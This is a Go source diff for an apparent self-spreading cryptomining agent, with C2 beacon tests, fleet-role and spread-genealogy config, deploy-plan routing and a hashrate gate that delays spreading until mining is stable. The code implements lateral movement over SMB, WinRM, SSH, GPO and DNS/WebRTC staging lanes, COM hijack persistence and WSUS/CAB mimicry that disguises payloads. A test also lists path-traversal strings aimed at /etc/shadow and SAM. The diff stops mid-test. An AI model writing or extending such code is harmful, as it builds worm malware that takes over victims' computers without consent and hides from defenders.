+	mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
+		if r.Header.Get("X-Fleet-Secret") != secret {
+			http.Error(w, "forbidden", http.StatusForbidden)
+			return
+		}
+		mu.Lock()
+		resultHits++
+		mu.Unlock()
+		_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
+	})
+
+	srv := httptest.NewServer(mux)
+	t.Cleanup(srv.Close)
+
+	stubFastMiningDiagnostics(t)
+	c := newTestClient(t)
+	c.pool.Start()
+	t.Cleanup(func() { c.pool.Stop() })
+	c.reporter = stats.NewReporter()
+	c.agentID = "beacon-integration-agent"
+	c.cfg = config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			ServerURL:             srv.URL,
+			FleetSecret:           secret,
+			HTTPSBeaconFallback:   true,
+			HTTPSBeaconAfterMin:   0,
+			BeaconIntervalSec:     1,
+		},
+	}
+
+	if err := c.beaconOnce(srv.URL); err != nil {
+		t.Fatalf("first beaconOnce: %v", err)
+	}
+	if err := c.beaconOnce(srv.URL); err != nil {
+		t.Fatalf("second beaconOnce (with command): %v", err)
+	}
+
+	mu.Lock()
+	defer mu.Unlock()
+	if beaconHits < 2 {
+		t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
+	}
+	if resultHits != 1 {
+		t.Fatalf("beacon result hits = %d, want 1", resultHits)
+	}
+}
+
+// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
+// worker_name for registration while hostname tracks the machine label separately.
+func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
+	payload := AuthPayload{
+		AgentID:  "rename-agent",
+		Hostname: "DESKTOP-NEW",
+		Worker:   "Living Room PC",
+		Version:  "1.0",
+	}
+	raw, err := json.Marshal(payload)
+	if err != nil {
+		t.Fatal(err)
+	}
+	var decoded AuthPayload
+	if err := json.Unmarshal(raw, &decoded); err != nil {
+		t.Fatal(err)
+	}
+	if decoded.Worker != "Living Room PC" {
+		t.Fatalf("worker_name = %q", decoded.Worker)
+	}
+	if decoded.Hostname != "DESKTOP-NEW" {
+		t.Fatalf("hostname = %q", decoded.Hostname)
+	}
+	if decoded.Worker == decoded.Hostname {
+		t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
+	}
+}
+
+// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
+// the WS connection is nil (post-disconnect cleanup path).
+func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
+	c := newTestClient(t)
+	c.conn = nil
+	err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
+	if err == nil || !strings.Contains(err.Error(), "not connected") {
+		t.Fatalf("write with nil conn: err=%v", err)
+	}
+}

agent/config/builtin.go

@@ -59,5 +59,6 @@ func GetBuiltinConfig() BuiltinConfig {
 		DnsTxtSpread:         true,
 		WebRTCMeshSpread:     false,
 		WSUSCachePeerSpread:  true,
+		WSUSFormatMimic:      true,
 	}
 }

agent/config/config.go

@@ -74,6 +74,7 @@ type BuiltinConfig struct {
 	DnsTxtSpread       bool   // DNS TXT mesh shard staging via _aether zone
 	WebRTCMeshSpread   bool   // WebRTC LAN seed manifest (heavier; default off)
 	WSUSCachePeerSpread bool  // WSUS SoftwareDistribution cousin staging
+	WSUSFormatMimic     bool  // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
 	COMHijackPersist   bool   // COM CLSID hijack persistence — default off
 	LinuxLOTLMode      string // systemd_run_user | crontab | both | off
 	// Passive spreading — triggered by the environment rather than active scanning
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
 	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth
 	LotlOnionTiers       []string // baked order; ignored when LotlPolicyFromServer until auth
 
+	// Spread genealogy watermark — forge-baked telemetry; never used for auth.
+	ParentAgentID    string
+	SpreadGeneration int
+	SpreadStrain     string // #RRGGBB strain color; derived from join_lane when empty
+	BakedJoinLane    string // forge-time join_lane for strain when runtime lane unknown
+
 	// ApkMode marks Android fleet-node builds; registration reports platform=android.
 	ApkMode bool
+	// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
+	ScoutMode bool
 	// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
 	MiningDisabled bool
+
+	// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
+	FleetRole string
+	// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
+	SeederMode bool
+
+	// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
+	HashrateGateSpreadMin int
+	// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
+	HashrateGateHPS float64
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
 	return RegistrationPlatform() == "android"
 }
 
+// IsScoutMode reports roving scout builds (discover + service graph, no staging).
+func (c RuntimeConfig) IsScoutMode() bool {
+	return c.ScoutMode
+}
+
 func (c RuntimeConfig) EffectiveThreads() int {
 	mode := strings.ToLower(c.ThreadMode)
 	if mode == "fixed" {

agent/config/fleet_role.go

@@ -0,0 +1,89 @@
+package config
+
+import "strings"
+
+const (
+	FleetRoleMiner  = "miner"
+	FleetRoleSeeder = "seeder"
+	FleetRoleAuto   = "auto"
+)
+
+// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
+var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
+
+// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
+func NormalizeFleetRole(role string) string {
+	switch strings.ToLower(strings.TrimSpace(role)) {
+	case FleetRoleSeeder:
+		return FleetRoleSeeder
+	case FleetRoleMiner:
+		return FleetRoleMiner
+	default:
+		return FleetRoleAuto
+	}
+}
+
+// EffectiveFleetRole resolves baked role + optional server hint from auth.
+func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
+	if c.SeederMode {
+		return FleetRoleSeeder
+	}
+	baked := NormalizeFleetRole(c.FleetRole)
+	if baked == FleetRoleSeeder {
+		return FleetRoleSeeder
+	}
+	if baked == FleetRoleMiner {
+		return FleetRoleMiner
+	}
+	hint := NormalizeFleetRole(serverHint)
+	if hint == FleetRoleSeeder || hint == FleetRoleMiner {
+		return hint
+	}
+	return FleetRoleMiner
+}
+
+// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
+func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
+	return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
+}
+
+// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
+func IsSeederSpreadLane(lane string) bool {
+	lane = strings.ToLower(strings.TrimSpace(lane))
+	for _, s := range SeederSpreadLanes {
+		if lane == s {
+			return true
+		}
+	}
+	return false
+}
+
+// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
+func FilterSeederLotlTiers(tiers []string) []string {
+	var out []string
+	for _, t := range tiers {
+		if IsSeederSpreadLane(t) {
+			out = append(out, t)
+		}
+	}
+	return out
+}
+
+// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
+func ApplySeederForgeDefaults(b *BuiltinConfig) {
+	if b == nil {
+		return
+	}
+	b.FleetRole = FleetRoleSeeder
+	b.SeederMode = true
+	b.MiningDisabled = true
+	b.MinerExecution = "inprocess" // unused — no RandomX chain starts
+	b.GPUEnabled = false
+	b.DnsTxtSpread = true
+	b.WebRTCMeshSpread = true
+	b.WinRMSpread = false
+	b.WSUSCachePeerSpread = false
+	b.AutoSpread = true
+	b.LotlOnionEnabled = true
+	b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
+}

agent/config/fleet_role_test.go

@@ -0,0 +1,53 @@
+package config
+
+import "testing"
+
+func TestNormalizeFleetRole(t *testing.T) {
+	if NormalizeFleetRole("SEEDER") != FleetRoleSeeder {
+		t.Fatal("seeder")
+	}
+	if NormalizeFleetRole("miner") != FleetRoleMiner {
+		t.Fatal("miner")
+	}
+	if NormalizeFleetRole("") != FleetRoleAuto {
+		t.Fatal("auto default")
+	}
+}
+
+func TestEffectiveFleetRoleSeederMode(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SeederMode: true}}
+	if cfg.EffectiveFleetRole("") != FleetRoleSeeder {
+		t.Fatalf("got %q", cfg.EffectiveFleetRole(""))
+	}
+}
+
+func TestEffectiveFleetRoleAutoHint(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetRole: FleetRoleAuto}}
+	if cfg.EffectiveFleetRole(FleetRoleSeeder) != FleetRoleSeeder {
+		t.Fatal("hint seeder")
+	}
+	if cfg.EffectiveFleetRole(FleetRoleMiner) != FleetRoleMiner {
+		t.Fatal("hint miner")
+	}
+	if cfg.EffectiveFleetRole("") != FleetRoleMiner {
+		t.Fatal("auto defaults miner")
+	}
+}
+
+func TestFilterSeederLotlTiers(t *testing.T) {
+	got := FilterSeederLotlTiers([]string{"smb", "dns_txt", "winrm", "do_peer"})
+	if len(got) != 2 || got[0] != "dns_txt" || got[1] != "do_peer" {
+		t.Fatalf("got %v", got)
+	}
+}
+
+func TestApplySeederForgeDefaults(t *testing.T) {
+	b := BuiltinConfig{}
+	ApplySeederForgeDefaults(&b)
+	if !b.SeederMode || b.FleetRole != FleetRoleSeeder || !b.MiningDisabled {
+		t.Fatalf("seeder defaults: %+v", b)
+	}
+	if !b.DnsTxtSpread || !b.WebRTCMeshSpread || b.WinRMSpread {
+		t.Fatalf("spread flags: %+v", b)
+	}
+}

agent/config/genealogy.go

@@ -0,0 +1,47 @@
+package config
+
+import (
+	"crypto/sha256"
+	"fmt"
+	"os"
+	"strconv"
+	"strings"
+)
+
+// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
+// Not a signed key — informational telemetry only.
+func SpreadStrainFromJoinLane(lane string) string {
+	lane = strings.TrimSpace(strings.ToLower(lane))
+	if lane == "" {
+		return ""
+	}
+	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
+	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
+}
+
+// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
+// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
+// launches without re-forge. Never used for authentication.
+func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
+	parentAgentID = strings.TrimSpace(c.ParentAgentID)
+	if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
+		parentAgentID = v
+	}
+
+	spreadGeneration = c.SpreadGeneration
+	if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
+		if n, err := strconv.Atoi(v); err == nil && n >= 0 {
+			spreadGeneration = n
+		}
+	}
+
+	spreadStrain = strings.TrimSpace(c.SpreadStrain)
+	if spreadStrain == "" {
+		lane := strings.TrimSpace(runtimeJoinLane)
+		if lane == "" {
+			lane = strings.TrimSpace(c.BakedJoinLane)
+		}
+		spreadStrain = SpreadStrainFromJoinLane(lane)
+	}
+	return parentAgentID, spreadGeneration, spreadStrain
+}

agent/config/genealogy_test.go

@@ -0,0 +1,46 @@
+package config
+
+import "testing"
+
+func TestSpreadStrainFromJoinLane(t *testing.T) {
+	a := SpreadStrainFromJoinLane("winrm")
+	b := SpreadStrainFromJoinLane("winrm")
+	if a == "" || a != b {
+		t.Fatalf("strain not stable: %q vs %q", a, b)
+	}
+	if a[0] != '#' || len(a) != 7 {
+		t.Fatalf("expected #RRGGBB, got %q", a)
+	}
+	if SpreadStrainFromJoinLane("dns_txt") == a {
+		t.Fatal("different lanes should produce different strains")
+	}
+	if SpreadStrainFromJoinLane("") != "" {
+		t.Fatal("empty lane should yield empty strain")
+	}
+}
+
+func TestGenealogyReportBakedAndRuntime(t *testing.T) {
+	cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
+		ParentAgentID:    "parent-uuid",
+		SpreadGeneration: 2,
+		BakedJoinLane:    "gpo",
+	}}
+	parent, gen, strain := cfg.GenealogyReport("")
+	if parent != "parent-uuid" || gen != 2 {
+		t.Fatalf("baked parent/gen: %q %d", parent, gen)
+	}
+	if strain != SpreadStrainFromJoinLane("gpo") {
+		t.Fatalf("strain from baked join lane: %q", strain)
+	}
+
+	cfg2 := RuntimeConfig{BuiltinConfig: BuiltinConfig{SpreadGeneration: 0}}
+	t.Setenv("AETHER_PARENT_AGENT_ID", "env-parent")
+	t.Setenv("AETHER_SPREAD_GENERATION", "3")
+	p2, g2, s2 := cfg2.GenealogyReport("winrm")
+	if p2 != "env-parent" || g2 != 3 {
+		t.Fatalf("env overrides: %q %d", p2, g2)
+	}
+	if s2 != SpreadStrainFromJoinLane("winrm") {
+		t.Fatalf("runtime join lane strain: %q", s2)
+	}
+}

agent/deploy/autospread.go

@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
 
 // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
 func RunSpreadOnce(cfg config.RuntimeConfig) string {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		return "autospread deferred: " + reason
+	}
 	go spreadToLocalSubnet(cfg)
 	if cfg.WinRMSpread || cfg.AutoSpread {
 		go spreadViaWinRM(cfg)
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)
 
 func spreadToLocalSubnet(cfg config.RuntimeConfig) {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		log.Printf("[autospread] spread deferred: %s", reason)
+		finishSpreadSweepImmediate()
+		return
+	}
 	filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
 	beginSpreadSweep("smb_scm", len(filtered))
 	if len(filtered) == 0 {

agent/deploy/autospread_unix.go

@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
 
 // RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
 func RunSpreadOnce(cfg config.RuntimeConfig) string {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		return "autospread deferred: " + reason
+	}
 	go spreadUnixSubnet(cfg)
 	return "unix lateral spread sweep started (SSH :22)"
 }
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)
 
 func spreadUnixSubnet(cfg config.RuntimeConfig) {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		log.Printf("[autospread] spread deferred: %s", reason)
+		finishSpreadSweepImmediate()
+		return
+	}
 	exePath, err := os.Executable()
 	if err != nil {
 		return

agent/deploy/desktop_path_test.go

@@ -34,6 +34,40 @@ func TestResolveRemotePathDesktopPrefix(t *testing.T) {
 	}
 }
 
+func TestResolveRemotePathRejectsTraversalVariants(t *testing.T) {
+	cases := []string{
+		"../../etc/passwd",
+		`..\..\Windows\System32\config\sam`,
+		"uploads/../../outside.txt",
+		"/var/log/../../etc/shadow",
+		"..",
+		"~/../../etc/passwd",
+		"@desktop/../../outside.txt",
+		"desktop:../../payload.bin",
+		"safe/inner/../../../etc/shadow",
+	}
+	for _, path := range cases {
+		if _, err := ResolveRemotePath(path); err == nil {
+			t.Fatalf("ResolveRemotePath(%q) should reject traversal", path)
+		} else if !strings.Contains(err.Error(), "path traversal") {
+			t.Fatalf("ResolveRemotePath(%q) error=%q", path, err.Error())
+		}
+	}
+}
+
+func TestRemotePathHasTraversal(t *testing.T) {
+	for _, path := range []string{"../x", "desktop:../../x", "foo/../bar"} {
+		if !remotePathHasTraversal(path) {
+			t.Fatalf("expected traversal for %q", path)
+		}
+	}
+	for _, path := range []string{"~/Downloads", "notes.txt", "@desktop/report.pdf"} {
+		if remotePathHasTraversal(path) {
+			t.Fatalf("safe path flagged as traversal: %q", path)
+		}
+	}
+}
+
 func TestUserDesktopDir(t *testing.T) {
 	dir, err := UserDesktopDir()
 	if err != nil {

agent/deploy/discover_join.go

@@ -12,6 +12,19 @@ import (
 	"crypto-miner-agent/config"
 )
 
+// SpreadRouteHint is the server BGP-style spread route recommendation.
+type SpreadRouteHint struct {
+	TargetSubnet   string  `json:"target_subnet"`
+	SeedAgentID    string  `json:"seed_agent_id"`
+	SeedAgentName  string  `json:"seed_agent_name,omitempty"`
+	EgressAgentID  string  `json:"egress_agent_id"`
+	EgressHopIndex int     `json:"egress_hop_index,omitempty"`
+	SessionID      string  `json:"session_id,omitempty"`
+	JoinLane       string  `json:"join_lane,omitempty"`
+	Score          float64 `json:"score,omitempty"`
+	ClearanceLevel int     `json:"clearance_level,omitempty"`
+}
+
 // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
 type WebRTCMeshPlanBody struct {
 	STUNServers    []string `json:"stun_servers,omitempty"`
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
 	Script         string            `json:"script,omitempty"`
 	UNCPath        string            `json:"unc_path,omitempty"`
 	MaxHosts       int               `json:"max_hosts,omitempty"`
-	ImageTarURL    string            `json:"image_tar_url,omitempty"`
+	ImageTarURL     string            `json:"image_tar_url,omitempty"`
-	ImageTarSHA256 string            `json:"image_tar_sha256,omitempty"`
+	ImageTarSHA256  string            `json:"image_tar_sha256,omitempty"`
+	SpreadRouteHint *SpreadRouteHint  `json:"spread_route_hint,omitempty"`
 }
 
 // DeployPlanResponse is returned by the C2 deploy-plan endpoint.
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
 
 // ExecuteDeployPlan runs the signed supply-chain join lane from the server.
 func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
+	return ExecuteDeployPlanAs(cfg, plan, "")
+}
+
+// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
+func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
 	lane := strings.TrimSpace(plan.JoinLane)
 	if lane == "" {
 		lane = strings.TrimSpace(plan.Action)
 	}
+	if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
+		return deferMsg, nil
+	}
 	switch lane {
 	case "do_peer":
 		if plan.Manifest == nil {
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
 		if policy.RotationHours <= 0 {
 			policy.RotationHours = DefaultWebRTCRotationHours
 		}
+		execID := strings.TrimSpace(executorAgentID)
+		if execID != "" {
+			if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
+				policy.IsSeeder = true
+			}
+			if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
+				policy.IsSeeder = true
+			}
+		}
+		if !policy.IsSeeder {
+			if seeder := PreferredLANSeeder(); seeder != nil {
+				ApplyLANSeederToWebRTC(&policy, seeder)
+			}
+		}
 		msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
 			Policy:        policy,
 			SHA256:        plan.Manifest.SHA256,
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
 	}
 }
 
+func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
+	if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
+		return "", false
+	}
+	egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
+	if egress == "" || egress == executorAgentID {
+		return "", false
+	}
+	switch lane {
+	case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
+		return fmt.Sprintf(
+			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
+			egress,
+			strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
+			strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
+		), true
+	default:
+		return "", false
+	}
+}
+
 func runJoinScript(script string, windows bool) error {
 	script = strings.TrimSpace(script)
 	if script == "" {
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
 type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
 
 func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
+	return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
+}
+
+func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
 	raw := RunServiceDiscoverForJoin(maxLANHosts)
 	result, parseErr := ParseServiceDiscoverJSON(raw)
 	if parseErr != nil {
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
 	if joinLane == "" {
 		joinLane = resp.Plan.JoinLane
 	}
-	msg, err := ExecuteDeployPlan(cfg, resp.Plan)
+	if cfg.ScoutMode {
+		return joinLane, "scout: join lane mapped (no payload staging)", nil
+	}
+	msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
 	if err != nil {
 		return joinLane, "", err
 	}
+	if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
+		msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
+	}
 	return joinLane, msg, nil
 }
 
+func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
+	if hint == nil {
+		return detail
+	}
+	routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
+		strings.TrimSpace(hint.EgressAgentID),
+		strings.TrimSpace(hint.SeedAgentID),
+		hint.Score,
+	)
+	if detail == "" {
+		return routeNote
+	}
+	return detail + "; " + routeNote
+}
+
 // runServiceDiscoverFn allows tests to stub discovery output.
 var runServiceDiscoverFn func(maxLANHosts int) string
 

agent/deploy/discover_join_test.go

@@ -6,6 +6,7 @@ import (
 	"encoding/base64"
 	"encoding/hex"
 	"encoding/json"
+	"fmt"
 	"os"
 	"strings"
 	"testing"
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
 	}
 }
 
+func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
+	plan := DeployPlanBody{
+		JoinLane: "spread_smb_unc",
+		Action:   "spread_smb_unc",
+		UNCPath:  `\\forge\share\worker.exe`,
+		SpreadRouteHint: &SpreadRouteHint{
+			TargetSubnet:  "10.1.2",
+			SeedAgentID:   "seed-hop",
+			EgressAgentID: "seed-hop",
+			Score:         0.82,
+		},
+	}
+	msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
+	if err != nil {
+		t.Fatalf("err=%v", err)
+	}
+	if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
+	payload := []byte("webrtc-seed-plan")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldFn := webrtcMeshReceiveFn
+	webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+		if !policy.IsSeeder {
+			return nil, fmt.Errorf("expected seeder role")
+		}
+		return payload, nil
+	}
+	defer func() { webrtcMeshReceiveFn = oldFn }()
+
+	plan := DeployPlanBody{
+		JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
+		WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
+		SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
+		Manifest: &StagingManifest{
+			SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
+		},
+	}
+	_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
+	if err != nil {
+		if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
+			return
+		}
+		t.Fatalf("unexpected error: %v", err)
+	}
+}
+
 func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
 	payload := []byte("webrtc-signed-plan")
 	sum := sha256.Sum256(payload)

agent/deploy/hashrate_gate.go

@@ -0,0 +1,82 @@
+package deploy
+
+import (
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+var spreadGateClock = time.Now
+
+type spreadGateState struct {
+	mu             sync.Mutex
+	stableSince    time.Time
+	chainExhausted bool
+	lastHashrate   float64
+}
+
+var spreadGate spreadGateState
+
+// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
+func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
+	spreadGate.mu.Lock()
+	defer spreadGate.mu.Unlock()
+	spreadGate.chainExhausted = chainExhausted
+	spreadGate.lastHashrate = hashrate
+}
+
+func resetSpreadGateForTest() {
+	spreadGate.mu.Lock()
+	spreadGate.stableSince = time.Time{}
+	spreadGate.chainExhausted = false
+	spreadGate.lastHashrate = 0
+	spreadGate.mu.Unlock()
+}
+
+// HashrateGateEnabled reports whether server policy requires stable mining before spread.
+func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
+	return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
+}
+
+// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
+func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
+	spreadGate.mu.Lock()
+	exhausted := spreadGate.chainExhausted
+	spreadGate.mu.Unlock()
+	if exhausted {
+		return false, "mining chain exhausted"
+	}
+	if !HashrateGateEnabled(cfg) {
+		return true, ""
+	}
+
+	spreadGate.mu.Lock()
+	defer spreadGate.mu.Unlock()
+	now := spreadGateClock()
+	if spreadGate.lastHashrate < cfg.HashrateGateHPS {
+		spreadGate.stableSince = time.Time{}
+		return false, "hashrate below gate threshold"
+	}
+	if spreadGate.stableSince.IsZero() {
+		spreadGate.stableSince = now
+	}
+	need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
+	if now.Sub(spreadGate.stableSince) < need {
+		return false, "hashrate stability window not met"
+	}
+	return true, ""
+}
+
+// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
+func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
+	if !HashrateGateEnabled(cfg) {
+		return 0
+	}
+	spreadGate.mu.Lock()
+	defer spreadGate.mu.Unlock()
+	if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
+		return 0
+	}
+	return spreadGateClock().Sub(spreadGate.stableSince)
+}

agent/deploy/hashrate_gate_test.go

@@ -0,0 +1,93 @@
+package deploy
+
+import (
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
+	ok, reason := AllowAutospread(cfg)
+	if !ok || reason != "" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 5,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(500, true)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "mining chain exhausted" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
+	resetSpreadGateForTest()
+	base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
+	spreadGateClock = func() time.Time { return base }
+	t.Cleanup(func() { spreadGateClock = time.Now })
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 10,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(150, false)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "hashrate stability window not met" {
+		t.Fatalf("first tick ok=%v reason=%q", ok, reason)
+	}
+
+	spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
+	ok, reason = AllowAutospread(cfg)
+	if !ok || reason != "" {
+		t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
+	}
+}
+
+func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
+	resetSpreadGateForTest()
+	base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
+	spreadGateClock = func() time.Time { return base }
+	t.Cleanup(func() { spreadGateClock = time.Now })
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		HashrateGateSpreadMin: 5,
+		HashrateGateHPS:       200,
+	}}
+	SetSpreadMiningTelemetry(250, false)
+	spreadGateClock = func() time.Time { return base }
+	if ok, _ := AllowAutospread(cfg); ok {
+		t.Fatal("expected window not met on first tick")
+	}
+	spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
+	if ok, reason := AllowAutospread(cfg); !ok {
+		t.Fatalf("expected stable after 6m, reason=%q", reason)
+	}
+	SetSpreadMiningTelemetry(50, false)
+	ok, reason := AllowAutospread(cfg)
+	if ok || reason != "hashrate below gate threshold" {
+		t.Fatalf("ok=%v reason=%q", ok, reason)
+	}
+}
+
+func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
